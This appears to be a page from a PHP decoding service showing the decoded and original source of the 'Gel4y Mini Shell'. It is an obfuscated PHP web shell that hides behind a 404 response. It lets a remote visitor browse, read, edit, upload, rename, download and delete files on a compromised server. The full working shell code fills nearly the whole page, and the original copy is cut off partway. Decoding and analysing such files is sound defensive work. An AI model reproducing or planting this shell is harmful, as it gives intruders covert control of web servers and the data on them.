Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* @Author https://www.jiamiphp.com/ */ goto NR0xSobALD; lJD5NoCLro: echo "</te..

Decoded Output download

<?php  
/* @Author https://www.jiamiphp.com/ */  
 goto NR0xSobALD; lJD5NoCLro: echo "</textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form> 
\xa	\x9	"; isset($_POST["s"]) ? $func[13]($p . "/" . nhx($_GET["n"]), $_POST["ctn"]) ? a("file contents changed successfully", 1, "&a=" . hex("view") . "&n={$_GET["n"]}") : a("file contents failed to change") : null; goto EHmbv8BUWg; hgWow5xei6: echo "\x9\x9	<h5 class="border p-1 mb-3">View file</h5> 
\xa\x9\x9	<span>File name : "; goto DhfK32mSzf; n9QuPP0ilv: dcT9S6QqIU: goto ZzSYo3cO9b; NR0xSobALD: error_reporting(0); http_response_code(404); define("self", "Gel4y Mini Shell"); $scD = "scandir"; $func = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); goto OGLfhIpRb1; I1co83smh2: $i++; goto XVHlxLeRnY; jrLX4zGaez: if (isset($_GET["p"])) { goto cGESsJg41G; } $p = $func[2](); goto qHkFyyNhvo; qHkFyyNhvo: goto gS7OmAaKk5; cGESsJg41G: $p = nhx($_GET["p"]); $func[3](nhx($_GET["p"])); gS7OmAaKk5: goto dqlHj85UqV; OGLfhIpRb1: $i = 0; XVHlxLeRnY: if (!($i < count($func))) { goto jrLX4zGaez; } $func[$i] = nhx($func[$i]); He7YLBcZfz: goto I1co83smh2; PhIZHlfWil: $i++; goto Cv3b0ePAbW; G2_5SL5FMs: ssIrupXBnO: if (!isset($_GET["download"])) { goto zfwyFS344A; } goto FrTCFo8xcs; jPeiH1lnX2: if ($a == "rename") { goto UrAZLocG8c; } if ($a == "edit") { goto Qx_L32n1k1; } if ($a == "view") { goto hgWow5xei6; } goto EHmbv8BUWg; Kn5D2Yu0jF: goto MEe6QlJIf9; os1yUo_Yqf: echo "">+Directory</a>\xd 
	\x9	</div> 
\xa	\x9</div> 
\x9\x9<div class="border-top table-responsive">\xd 
	\x9	<li>Server : "; echo "{$_SERVER["SERVER_NAME"]} ({$_SERVER["SERVER_ADDR"]}/{$_SERVER["REMOTE_ADDR"]})"; echo "</li>\xd\xa	\x9</div> 
\x9	<form method="post" enctype="multipart/form-data"><div class="input-group mb-1 px-1 mt-1"><div class="custom-file"><input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple><label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label></div></div></form> 
		"; if (!isset($_FILES["f"])) { goto ssIrupXBnO; } $n = $_FILES["f"]["name"]; goto IoY1weKx49; BUHBBEUEjL: a("file to delete the folder", 0); goto ZKv7fzuGRb; KzasCPGh4b: a("file deleted successfully"); ZKv7fzuGRb: goto lFezqt9Hec; dqlHj85UqV: function hex($str) { $r = ''; $i = 0; GSrU0nfb1v: if (!($i < strlen($str))) { goto iZd4Z26FKh; } $r .= dechex(ord($str[$i])); af4C6bYGj5: $i++; goto GSrU0nfb1v; iZd4Z26FKh: return $r; } function nhx($str) { goto G80yASP0df; KriPaRWJOl: $r .= chr(hexdec($str[$i] . $str[$i + 1])); kfpGCi3Ggg: $i += 2; goto xiusZw1owb; DmXFm7JRbE: goto OTZsgzsSL4; G80yASP0df: $r = ''; $len = strlen($str) - 1; $i = 0; xiusZw1owb: if (!($i < $len)) { goto DmXFm7JRbE; } goto KriPaRWJOl; OTZsgzsSL4: return $r; goto axpYRQYG_A; axpYRQYG_A: } function perms($f) { goto Eg_llnXO1F; Eg_llnXO1F: $p = fileperms($f); if (($p & 0xc000) == 0xc000) { goto gcbM7xGDPr; } if (($p & 0xa000) == 0xa000) { goto H7pV0JJkWr; } if (($p & 0x8000) == 0x8000) { goto GCQDFbJHFZ; } if (($p & 0x6000) == 0x6000) { goto IWi1o9mKN7; } goto kEG1ISAvhv; VXS34MjLeI: $i = "b"; goto zld3x48pzp; gfn1cIT6Jn: $i = "d"; goto zld3x48pzp; goto F6Seci2gNu; Jmo_HB7t5h: goto zld3x48pzp; GCQDFbJHFZ: $i = "-"; goto zld3x48pzp; IWi1o9mKN7: goto VXS34MjLeI; kEG1ISAvhv: if (($p & 0x4000) == 0x4000) { goto gfn1cIT6Jn; } if (($p & 0x2000) == 0x2000) { goto DP4JsbAsLB; } if (($p & 0x1000) == 0x1000) { goto rsRytCfECG; } $i = "u"; goto zld3x48pzp; goto xhDLhIg1gv; F6Seci2gNu: DP4JsbAsLB: $i = "c"; goto zld3x48pzp; rsRytCfECG: $i = "p"; goto ou58YaWnzJ; Mj2Pq7sn5V: $i .= $p & 0x10 ? "w" : "-"; $i .= $p & 0x8 ? $p & 0x400 ? "s" : "x" : ($p & 0x400 ? "S" : "-"); $i .= $p & 0x4 ? "r" : "-"; $i .= $p & 0x2 ? "w" : "-"; $i .= $p & 0x1 ? $p & 0x200 ? "t" : "x" : ($p & 0x200 ? "T" : "-"); goto yt7HwLDB7T; xhDLhIg1gv: gcbM7xGDPr: $i = "s"; goto zld3x48pzp; H7pV0JJkWr: $i = "l"; goto Jmo_HB7t5h; yt7HwLDB7T: return $i; goto b4R96Z229w; ou58YaWnzJ: zld3x48pzp: $i .= $p & 0x100 ? "r" : "-"; $i .= $p & 0x80 ? "w" : "-"; $i .= $p & 0x40 ? $p & 0x800 ? "s" : "x" : ($p & 0x800 ? "S" : "-"); $i .= $p & 0x20 ? "r" : "-"; goto Mj2Pq7sn5V; b4R96Z229w: } function a($msg, $sts = 1, $loc = '') { global $p; $status = $sts == 1 ? "success" : "error"; echo "<script>swal({title: "{$status}", text: "{$msg}", icon: "{$status}"}).then((btnClick) => {if(btnClick){document.location.href="?p=" . hex($p) . $loc . ""}})</script>"; } function deldir($d) { goto MKw2k19xkT; AWy19vUnjl: roEKt1OAVu: goto GakDSBZ5gu; TtMwJCSrTh: unlink($d); goto roEKt1OAVu; C1IuylHWN_: array_map("deldir", glob($d . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); rmdir($d); goto AWy19vUnjl; MKw2k19xkT: global $func; if (!(trim(pathinfo($d, PATHINFO_BASENAME), ".") === '')) { goto atIFIM4TRD; } return; atIFIM4TRD: if ($func[6]($d)) { goto C1IuylHWN_; } goto TtMwJCSrTh; GakDSBZ5gu: } goto Ul5FR4e5KP; DhfK32mSzf: echo nhx($_GET["n"]); echo "</span> 
	\x9	<div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" readonly>"; echo $func[18]($func[14]($p . "/" . nhx($_GET["n"]))); echo "</textarea></div>\xd\xa\x9	\x9"; EHmbv8BUWg: goto P5h_iu38Mw; td972J650X: if (!($a == "delete")) { goto lpKoq5LumM; } $loc = $p . "/" . nhx($_GET["n"]); if (!($_GET["t"] == "d")) { goto kpC5HXJqTx; } deldir($loc); if (!$func[12]($loc)) { goto dYYR8ojn4s; } goto er4WBJGKOJ; MEe6QlJIf9: echo "\x9\x9	<h5 class="border p-1 mb-3">New folder</h5> 
\xa\x9\x9\x9<form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>\xd 
	\x9	"; isset($_POST["s"]) ? $func[12]("{$p}/{$_POST["n"]}") ? a("folder name has been used", 0, "&a=" . hex("newDir")) : ($func[15]("{$p}/{$_POST["n"]}") ? a("folder created successfully") : a("folder failed to create", 0)) : null; goto EHmbv8BUWg; L7WrVJkycu: echo "\x9		<h5 class="border p-1 mb-3">New file</h5>\xd\xa\x9\x9\x9<form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form> 
\xa			"; goto rsAPahBjC8; r2uPZa3fXB: echo "</h5> 
\x9		<form method="post"><div class="form-group"><label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value=""; echo nhx($_GET["n"]); echo ""></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form> 
	\x9\x9"; isset($_POST["s"]) ? $func[16]($p . "/" . nhx($_GET["n"]), $_POST["n"]) ? a("successfully changed the folder name") : a("failed to change the folder name", 0) : null; goto EHmbv8BUWg; goto vuwRqH1lVV; F0fdwsKvbA: echo "\x9</div>\xd\xa\x9<div class="bg-dark border table-responsive-sm mt-2"> 
\x9\x9<div class="ml-2" style="font-size:18px;">\xd\xa	\x9	<span>Path: </span> 
\x9\x9	"; $ps = $func[4]("/(\\|\/)/", $p); foreach ($ps as $k => $v) { goto N1swF3LEWe; N1swF3LEWe: if (!($k == 0 && $v == '')) { goto H9vn1HfHRe; } echo "<a href="?p=2f">~</a>/"; goto hcWjmSaGr_; H9vn1HfHRe: if (!($v == '')) { goto KiV4tu9KrE; } goto ItbF_M2Lb5; YsvQ7I5pXL: if (!($i <= $k)) { goto ak1EVOsDSx; } echo hex($ps[$i]); if (!($i != $k)) { goto QA31tIU3Rr; } echo "2f"; QA31tIU3Rr: goto ZcGNET1SN8; ItbF_M2Lb5: goto hcWjmSaGr_; KiV4tu9KrE: echo "<a href="?p="; $i = 0; hDgJgO96Dm: goto YsvQ7I5pXL; ZcGNET1SN8: FTfV_eX6ie: $i++; goto hDgJgO96Dm; ak1EVOsDSx: echo "">{$v}</a>/"; goto JKdl5NjkB_; JKdl5NjkB_: hcWjmSaGr_: goto je0ISqz1vs; je0ISqz1vs: } wSLl7iXZJv: echo "	\x9</div>\xd\xa	</div> 
\x9<article class="bg-dark border table-responsive-sm mt-2"> 
		"; goto fE1TRkKMHM; fE1TRkKMHM: if (!isset($_GET["a"])) { goto ulY2c1qwGP; } if (!isset($_GET["a"])) { goto mVfAbSYA8o; } $a = nhx($_GET["a"]); mVfAbSYA8o: echo "\x9\x9<div class="px-2 py-2">\xd 
\x9\x9\x9"; goto td972J650X; rsAPahBjC8: isset($_POST["s"]) ? $func[12]("{$p}/{$_POST["n"]}") ? a("file name has been used", 0, "&a=" . hex("newFile")) : ($func[13]("{$p}/{$_POST["n"]}", $_POST["ctn"]) ? a("file created successfully", 1, "&a=" . hex("view") . "&n=" . hex($_POST["n"])) : a("file failed to create", 0)) : null; goto EHmbv8BUWg; UrAZLocG8c: echo "\x9\x9	<h5 class="border p-1 mb-3">Rename "; echo $_GET["t"] == "d" ? "folder" : "file"; goto r2uPZa3fXB; Ul5FR4e5KP: echo "<!doctype html> 
\xa<!-- RandsX aka T1kus_g0t --> 
\xa<html lang="en">\xd\xa<head>\xd\xa	<meta name="theme-color" content="red">\xd 
\x9<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">\xd\xa	<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">\xd\xa	<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> 
	<title>"; echo self; echo "</title> 
\xa\x9<style>.table-hover tbody tr:hover td{background:red}.table-hover tbody tr:hover td>*{color:#fff}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}li{font-size:18px;margin-left:6px;list-style:none}a{color:#fff}</style>\xd 
\x9<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>\xd 
</head>\xd 
<body style="background-color:#000;color:#fff;font-family:serif;">\xd 
\x9<div class="bg-dark table-responsive text-light border"> 
		<div class="d-flex justify-content-between p-1"> 
\xa		\x9<div><h3 class="mt-2"><a href="?">"; echo self; echo "</a></h3></div> 
			<div>\xd\xa\x9	\x9	<span>PHP Version : "; goto ALyujsM9q8; FrTCFo8xcs: header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $func[17](nhx($_GET["n"]))); header("Content-disposition: attachment; filename="" . nhx($_GET["n"]) . """); zfwyFS344A: goto F0fdwsKvbA; er4WBJGKOJ: a("failed to delete the folder", 0); goto Lql4MirOpU; dYYR8ojn4s: a("folder deleted successfully"); Lql4MirOpU: goto ona4n1872m; IoY1weKx49: $i = 0; Cv3b0ePAbW: if (!($i < count($n))) { goto G2_5SL5FMs; } if ($func[11]($_FILES["f"]["tmp_name"][$i], $n[$i])) { goto n8oJvccKP2; } a("file failed to upload", 0); goto jiiJoCcoFy; jiiJoCcoFy: goto Uytcg0lfx4; n8oJvccKP2: a("file uploaded successfully"); Uytcg0lfx4: FoA33D3KhZ: goto PhIZHlfWil; ALyujsM9q8: echo $func[1](); echo "</span> <br> 
\xa\x9	\x9	<a href="?p="; echo hex($p) . "&a=" . hex("newFile"); echo "">+File</a>\xd 
\x9\x9	\x9<a href="?p="; echo hex($p) . "&a=" . hex("newDir"); goto os1yUo_Yqf; ona4n1872m: kpC5HXJqTx: if (!($_GET["t"] == "f")) { goto FSi6ipEU__; } $loc = $p . "/" . nhx($_GET["n"]); unlink($loc); if (!$func[12]($loc)) { goto KzasCPGh4b; } goto BUHBBEUEjL; P5h_iu38Mw: echo "\x9	</div> 
	\x9"; goto dcT9S6QqIU; ulY2c1qwGP: echo "\x9\x9<table class="table table-hover table-bordered table-sm"> 
	\x9	<thead class="text-light">\xd 
	\x9\x9	<tr>\xd 
	\x9		\x9<th>Name</th> 
\xa\x9\x9\x9\x9\x9<th>Size</th>\xd\xa\x9\x9\x9\x9\x9<th>Permission</th>\xd\xa\x9	\x9	\x9<th>Action</th>\xd\xa\x9\x9	\x9</tr>\xd\xa			</thead> 
\xa\x9\x9	<tbody class="text-light">\xd\xa			\x9"; $scD = $func[5]($scD($p), [".", ".."]); goto yjs4m8eKj3; lFezqt9Hec: FSi6ipEU__: lpKoq5LumM: echo "	\x9\x9"; if ($a == "newDir") { goto Kn5D2Yu0jF; } if ($a == "newFile") { goto L7WrVJkycu; } goto jPeiH1lnX2; yjs4m8eKj3: foreach ($scD as $d) { if ($func[6]("{$p}/{$d}")) { goto KQtl0AlrOv; } goto t3Si15LQ5t; KQtl0AlrOv: echo "\xd\xa\x9	\x9\x9\x9<tr> 
\xa\x9\x9\x9\x9\x9\x9<td><a href="?p=" . hex("{$p}/{$d}") . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on " . $func[19]("Y-m-d H:i", $func[20]("{$p}/{$d}")) . ""><i class="fa fa-fw fa-folder"></i> {$d}</a></td>\xd 
\x9	\x9		\x9<td>N/A</td> 
\xa\x9\x9	\x9	\x9<td><font color="" . ($func[8]("{$p}/{$d}") ? "#00ff00" : (!$func[9]("{$p}/{$d}") ? "red" : null)) . "">" . perms("{$p}/{$d}") . "</font></td>\xd 
	\x9\x9\x9		<td>\xd 
		\x9		\x9	<a href="?p=" . hex($p) . "&a=" . hex("rename") . "&n=" . hex($d) . "&t=d" data-toggle="tooltip" data-placement="auto" title="Rename"><i class="fa fa-fw fa-pencil"></i></a>\xd\xa	\x9	\x9\x9\x9	<a href="?p=" . hex($p) . "&a=" . hex("delete") . "&n=" . hex($d) . "" class="delete" data-type="folder" data-toggle="tooltip" data-placement="auto" title="Delete"><i class="fa fa-fw fa-trash"></i></a> 
\xa\x9\x9\x9\x9	\x9</td>\xd\xa		\x9\x9\x9</tr>"; t3Si15LQ5t: } jj8IeXlRGY: foreach ($scD as $f) { if ($func[7]("{$p}/{$f}")) { goto U6Sra_DIuT; } goto J0gB9hol1y; U6Sra_DIuT: $size = $func[10]("{$p}/{$f}") / 1024; $size = round($size, 3); $size = $size > 1024 ? round($size / 1024, 2) . "MB" : $size . "KB"; echo "\xd\xa\x9\x9\x9	\x9<tr> 
\x9\x9\x9\x9\x9	<td><a href="?p=" . hex($p) . "&a=" . hex("view") . "&n=" . hex($f) . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on " . $func[19]("Y-m-d H:i", $func[20]("{$p}/{$f}")) . ""><i class="fa fa-fw fa-file"></i> {$f}</a></td>\xd\xa		\x9		\x9<td>{$size}</td>\xd\xa\x9\x9		\x9	<td><font color="" . ($func[8]("{$p}/{$f}") ? "#00ff00" : (!$func[9]("{$p}/{$f}") ? "red" : null)) . "">" . perms("{$p}/{$f}") . "</font></td> 
\xa					\x9<td> 
\xa\x9	\x9\x9	\x9	<div class="d-flex justify-content-between"> 
\x9	\x9	\x9	\x9		<a href="?p=" . hex($p) . "&a=" . hex("edit") . "&n=" . hex($f) . "" data-toggle="tooltip" data-placement="auto" title="Edit"><i class="fa fa-fw fa-edit"></i></a> 
\x9	\x9\x9		\x9	\x9<a href="?p=" . hex($p) . "&a=" . hex("rename") . "&n=" . hex($f) . "&t=f" data-toggle="tooltip" data-placement="auto" title="Rename"><i class="fa fa-fw fa-pencil"></i></a> 
\xa\x9		\x9\x9\x9\x9	\x9<a href="?p=" . hex($p) . "&n=" . hex($f) . "&download" . "" data-toggle="tooltip" data-placement="auto" title="Download"><i class="fa fa-fw fa-download"></i></a> 
\xa\x9		\x9				\x9<a href="?p=" . hex($p) . "&a=" . hex("delete") . "&n=" . hex($f) . "" class="delete" data-type="file" data-toggle="tooltip" data-placement="auto" title="Delete"><i class="fa fa-fw fa-trash"></i></a>\xd\xa\x9\x9	\x9		\x9</div> 
				\x9\x9</td> 
\x9		\x9\x9</tr>\xd 
\x9	\x9	\x9"; J0gB9hol1y: } L_h_Ve8AiE: echo "\x9	\x9</tbody> 
\xa		</table> 
\xa		"; goto n9QuPP0ilv; vuwRqH1lVV: Qx_L32n1k1: echo "	\x9	<h5 class="border p-1 mb-3">Edit file</h5>\xd 
		\x9<span>File name : "; echo nhx($_GET["n"]); echo "</span> 
\xa			<form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control">"; echo $func[18]($func[14]($p . "/" . nhx($_GET["n"]))); goto lJD5NoCLro; ZzSYo3cO9b: echo "\x9</article>\xd 
\x9<div class="bg-dark border text-center mt-2"> 
\xa\x9\x9<small>Copyright &copy; 2021 - Powered By Indonesian Darknet</small>\xd\xa\x9</div> 
\xa\x9<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>\xd\xa	<script src="//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" ></script> 
	<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>\xd\xa\x9<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>\xd\xa</body>\xd 
</html>\xd 
"; ?>

Did this file decode correctly?

Original Code

<?php 
/* @Author https://www.jiamiphp.com/ */ 
 goto NR0xSobALD; lJD5NoCLro: echo "</textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
\xa	\x9	"; isset($_POST["s"]) ? $func[13]($p . "/" . nhx($_GET["n"]), $_POST["ctn"]) ? a("file contents changed successfully", 1, "&a=" . hex("view") . "&n={$_GET["n"]}") : a("file contents failed to change") : null; goto EHmbv8BUWg; hgWow5xei6: echo "\x9\x9	<h5 class="border p-1 mb-3">View file</h5>
\xa\x9\x9	<span>File name : "; goto DhfK32mSzf; n9QuPP0ilv: dcT9S6QqIU: goto ZzSYo3cO9b; NR0xSobALD: error_reporting(0); http_response_code(404); define("self", "Gel4y Mini Shell"); $scD = "scandir"; $func = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); goto OGLfhIpRb1; I1co83smh2: $i++; goto XVHlxLeRnY; jrLX4zGaez: if (isset($_GET["p"])) { goto cGESsJg41G; } $p = $func[2](); goto qHkFyyNhvo; qHkFyyNhvo: goto gS7OmAaKk5; cGESsJg41G: $p = nhx($_GET["p"]); $func[3](nhx($_GET["p"])); gS7OmAaKk5: goto dqlHj85UqV; OGLfhIpRb1: $i = 0; XVHlxLeRnY: if (!($i < count($func))) { goto jrLX4zGaez; } $func[$i] = nhx($func[$i]); He7YLBcZfz: goto I1co83smh2; PhIZHlfWil: $i++; goto Cv3b0ePAbW; G2_5SL5FMs: ssIrupXBnO: if (!isset($_GET["download"])) { goto zfwyFS344A; } goto FrTCFo8xcs; jPeiH1lnX2: if ($a == "rename") { goto UrAZLocG8c; } if ($a == "edit") { goto Qx_L32n1k1; } if ($a == "view") { goto hgWow5xei6; } goto EHmbv8BUWg; Kn5D2Yu0jF: goto MEe6QlJIf9; os1yUo_Yqf: echo "">+Directory</a>\xd
	\x9	</div>
\xa	\x9</div>
\x9\x9<div class="border-top table-responsive">\xd
	\x9	<li>Server : "; echo "{$_SERVER["SERVER_NAME"]} ({$_SERVER["SERVER_ADDR"]}/{$_SERVER["REMOTE_ADDR"]})"; echo "</li>\xd\xa	\x9</div>
\x9	<form method="post" enctype="multipart/form-data"><div class="input-group mb-1 px-1 mt-1"><div class="custom-file"><input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple><label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label></div></div></form>
		"; if (!isset($_FILES["f"])) { goto ssIrupXBnO; } $n = $_FILES["f"]["name"]; goto IoY1weKx49; BUHBBEUEjL: a("file to delete the folder", 0); goto ZKv7fzuGRb; KzasCPGh4b: a("file deleted successfully"); ZKv7fzuGRb: goto lFezqt9Hec; dqlHj85UqV: function hex($str) { $r = ''; $i = 0; GSrU0nfb1v: if (!($i < strlen($str))) { goto iZd4Z26FKh; } $r .= dechex(ord($str[$i])); af4C6bYGj5: $i++; goto GSrU0nfb1v; iZd4Z26FKh: return $r; } function nhx($str) { goto G80yASP0df; KriPaRWJOl: $r .= chr(hexdec($str[$i] . $str[$i + 1])); kfpGCi3Ggg: $i += 2; goto xiusZw1owb; DmXFm7JRbE: goto OTZsgzsSL4; G80yASP0df: $r = ''; $len = strlen($str) - 1; $i = 0; xiusZw1owb: if (!($i < $len)) { goto DmXFm7JRbE; } goto KriPaRWJOl; OTZsgzsSL4: return $r; goto axpYRQYG_A; axpYRQYG_A: } function perms($f) { goto Eg_llnXO1F; Eg_llnXO1F: $p = fileperms($f); if (($p & 0xc000) == 0xc000) { goto gcbM7xGDPr; } if (($p & 0xa000) == 0xa000) { goto H7pV0JJkWr; } if (($p & 0x8000) == 0x8000) { goto GCQDFbJHFZ; } if (($p & 0x6000) == 0x6000) { goto IWi1o9mKN7; } goto kEG1ISAvhv; VXS34MjLeI: $i = "b"; goto zld3x48pzp; gfn1cIT6Jn: $i = "d"; goto zld3x48pzp; goto F6Seci2gNu; Jmo_HB7t5h: goto zld3x48pzp; GCQDFbJHFZ: $i = "-"; goto zld3x48pzp; IWi1o9mKN7: goto VXS34MjLeI; kEG1ISAvhv: if (($p & 0x4000) == 0x4000) { goto gfn1cIT6Jn; } if (($p & 0x2000) == 0x2000) { goto DP4JsbAsLB; } if (($p & 0x1000) == 0x1000) { goto rsRytCfECG; } $i = "u"; goto zld3x48pzp; goto xhDLhIg1gv; F6Seci2gNu: DP4JsbAsLB: $i = "c"; goto zld3x48pzp; rsRytCfECG: $i = "p"; goto ou58YaWnzJ; Mj2Pq7sn5V: $i .= $p & 0x10 ? "w" : "-"; $i .= $p & 0x8 ? $p & 0x400 ? "s" : "x" : ($p & 0x400 ? "S" : "-"); $i .= $p & 0x4 ? "r" : "-"; $i .= $p & 0x2 ? "w" : "-"; $i .= $p & 0x1 ? $p & 0x200 ? "t" : "x" : ($p & 0x200 ? "T" : "-"); goto yt7HwLDB7T; xhDLhIg1gv: gcbM7xGDPr: $i = "s"; goto zld3x48pzp; H7pV0JJkWr: $i = "l"; goto Jmo_HB7t5h; yt7HwLDB7T: return $i; goto b4R96Z229w; ou58YaWnzJ: zld3x48pzp: $i .= $p & 0x100 ? "r" : "-"; $i .= $p & 0x80 ? "w" : "-"; $i .= $p & 0x40 ? $p & 0x800 ? "s" : "x" : ($p & 0x800 ? "S" : "-"); $i .= $p & 0x20 ? "r" : "-"; goto Mj2Pq7sn5V; b4R96Z229w: } function a($msg, $sts = 1, $loc = '') { global $p; $status = $sts == 1 ? "success" : "error"; echo "<script>swal({title: "{$status}", text: "{$msg}", icon: "{$status}"}).then((btnClick) => {if(btnClick){document.location.href="?p=" . hex($p) . $loc . ""}})</script>"; } function deldir($d) { goto MKw2k19xkT; AWy19vUnjl: roEKt1OAVu: goto GakDSBZ5gu; TtMwJCSrTh: unlink($d); goto roEKt1OAVu; C1IuylHWN_: array_map("deldir", glob($d . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); rmdir($d); goto AWy19vUnjl; MKw2k19xkT: global $func; if (!(trim(pathinfo($d, PATHINFO_BASENAME), ".") === '')) { goto atIFIM4TRD; } return; atIFIM4TRD: if ($func[6]($d)) { goto C1IuylHWN_; } goto TtMwJCSrTh; GakDSBZ5gu: } goto Ul5FR4e5KP; DhfK32mSzf: echo nhx($_GET["n"]); echo "</span>
	\x9	<div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" readonly>"; echo $func[18]($func[14]($p . "/" . nhx($_GET["n"]))); echo "</textarea></div>\xd\xa\x9	\x9"; EHmbv8BUWg: goto P5h_iu38Mw; td972J650X: if (!($a == "delete")) { goto lpKoq5LumM; } $loc = $p . "/" . nhx($_GET["n"]); if (!($_GET["t"] == "d")) { goto kpC5HXJqTx; } deldir($loc); if (!$func[12]($loc)) { goto dYYR8ojn4s; } goto er4WBJGKOJ; MEe6QlJIf9: echo "\x9\x9	<h5 class="border p-1 mb-3">New folder</h5>
\xa\x9\x9\x9<form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>\xd
	\x9	"; isset($_POST["s"]) ? $func[12]("{$p}/{$_POST["n"]}") ? a("folder name has been used", 0, "&a=" . hex("newDir")) : ($func[15]("{$p}/{$_POST["n"]}") ? a("folder created successfully") : a("folder failed to create", 0)) : null; goto EHmbv8BUWg; L7WrVJkycu: echo "\x9		<h5 class="border p-1 mb-3">New file</h5>\xd\xa\x9\x9\x9<form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
\xa			"; goto rsAPahBjC8; r2uPZa3fXB: echo "</h5>
\x9		<form method="post"><div class="form-group"><label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value=""; echo nhx($_GET["n"]); echo ""></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
	\x9\x9"; isset($_POST["s"]) ? $func[16]($p . "/" . nhx($_GET["n"]), $_POST["n"]) ? a("successfully changed the folder name") : a("failed to change the folder name", 0) : null; goto EHmbv8BUWg; goto vuwRqH1lVV; F0fdwsKvbA: echo "\x9</div>\xd\xa\x9<div class="bg-dark border table-responsive-sm mt-2">
\x9\x9<div class="ml-2" style="font-size:18px;">\xd\xa	\x9	<span>Path: </span>
